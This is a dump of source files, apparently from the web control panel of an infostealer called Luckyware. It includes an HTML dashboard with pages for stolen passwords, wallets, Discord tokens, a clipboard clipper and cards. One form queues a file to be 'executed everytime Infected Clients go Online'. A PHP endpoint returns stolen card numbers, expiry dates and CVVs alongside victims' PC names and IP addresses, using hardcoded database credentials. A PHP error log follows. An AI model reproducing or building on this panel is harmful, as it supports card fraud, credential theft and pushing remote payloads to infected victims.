background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Builder</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-play textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="grid xl:grid-cols-6 gap-5 mt-5">
<!-- RAVEN ADDRESS -->
<div class="xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 h-max btn2">
<div class="grid grid-cols-2">
<div>
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-plus mr-1 icon2"></i> Add Automation
</h1>
</div>
<div class="text-right"></div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<form method="post">
<div class="flex mx-5 mt-5 space-x-2">
<div class="w-full">
<div class="sc-container mt-2">
<input id="powar" name="powar" data-sc=""
class="smoothCaretInput rounded-lg py-2 px-3 text-stone-400 dg"
placeholder="Recommended services for file host: github.com, catbox.moe || This file is going to be executed everytime Infected Clients go Online."
type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="flex mx-5 mt-3 space-x-2">
<button id="savv" type="submit" name="savv"
class="dg w-full py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center">
<i class="fa-solid fa-floppy-disk mr-1 icon"></i>
Add Automation
</button>
</div>
</form>
</div>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn2"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-play mr-1 icon2"></i>
<span id="cookiesHeaderText"> Automations</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="3">3</option>
<option value="5">5</option>
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #850000;">
</div>
</div>
</div>
</div>
<!-- Entry Number Drop-down (small square) -->
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
ID</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Automation</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Type</th>
<th scope="col"
class="text-stone-400 font-Poppins font-semibold tracking-wide border-b brdDg pb-2">
Options</th>
</tr>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this automation?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: white;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [3, 5, 10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'autoloklaka984.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function() {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Automations <i class="fas fa-spinner fa-spin"></i>');
},
complete: function() {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Automations');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function() {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function() {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function() {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<script src="../assets/js/status.js"></script>
<script src="../assets/js/builder.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
Binary file not shown.
File diff suppressed because it is too large Load Diff
Binary file not shown.
+276
View File
@@ -0,0 +1,276 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Enhanced input sanitization with strict validation
*/
function sanitizeInput($input) {
if (!is_string($input) || empty($input)) {
return '';
}
// Define forbidden characters and SQL keywords
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return '';
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey) {
if (empty($role) || empty($secretkey)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection using PDO
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Get provider icon based on card provider
*/
function getProviderIcon($provider) {
$providerIcons = [
'Visa' => '<i class="fa-brands fa-cc-visa fa-lg"></i>',
'MasterCard' => '<i class="fa-brands fa-cc-mastercard fa-lg"></i>',
'American Express' => '<i class="fa-brands fa-cc-amex fa-lg"></i>',
'Discover' => '<i class="fa-brands fa-cc-discover fa-lg"></i>',
'UnionPay' => '<i class="fa-solid fa-credit-card fa-lg"></i>'
];
return $providerIcons[$provider] ?? '<i class="fa-solid fa-credit-card fa-lg"></i>';
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
$searchValue = substr($sanitizedSearch, 0, 50); // Limit to 50 chars for security
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'cards.Numbery',
1 => 'cards.Expiry',
2 => 'cards.CVV',
3 => 'cards.Provider',
4 => 'miners.PcName',
5 => 'miners.IP'
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'cards.Numbery'; // Default sort column
$orderDirection = 'ASC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build base query with role-based filtering
$baseWhere = "WHERE 1 = 1";
$params = [];
// Role-based filtering
if ($role !== "Founder") {
$baseWhere .= " AND cards.OwnerID = :owner_id";
$params['owner_id'] = $secretkey;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
cards.Numbery LIKE :search1 OR
cards.Expiry LIKE :search2 OR
cards.CVV LIKE :search3 OR
cards.Provider LIKE :search4 OR
miners.PcName LIKE :search5 OR
miners.Country LIKE :search6
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
$params['search4'] = $searchPattern;
$params['search5'] = $searchPattern;
$params['search6'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT cards.Numbery, cards.Expiry, cards.CVV, cards.Provider, cards.CardID,
miners.PcName,
CONCAT(miners.IP, ' | ', miners.Country) AS IPCOUNTRaY
FROM cards
LEFT JOIN miners ON cards.HWID = miners.HWID
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Sanitize all output data
$numbery = htmlspecialchars($row['Numbery'] ?? '', ENT_QUOTES, 'UTF-8');
$expiry = htmlspecialchars($row['Expiry'] ?? '', ENT_QUOTES, 'UTF-8');
$cvv = htmlspecialchars($row['CVV'] ?? '', ENT_QUOTES, 'UTF-8');
$provider = htmlspecialchars($row['Provider'] ?? '', ENT_QUOTES, 'UTF-8');
$pcName = htmlspecialchars($row['PcName'] ?? '', ENT_QUOTES, 'UTF-8');
$ipCountry = htmlspecialchars($row['IPCOUNTRaY'] ?? '', ENT_QUOTES, 'UTF-8');
// Get provider icon
$providerIcon = getProviderIcon($row['Provider'] ?? '');
// Create clickable card number with copy functionality
$cardNumberLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $numbery . '\')">' . $numbery . '</a>';
$data[] = [
$cardNumberLink,
$expiry,
$cvv,
$providerIcon,
$pcName,
$ipCountry
];
}
// Get total count
$countQuery = "SELECT COUNT(cards.CardID) as total
FROM cards
LEFT JOIN miners ON cards.HWID = miners.HWID
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Cards DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
?>
+776
View File
@@ -0,0 +1,776 @@
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:48:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
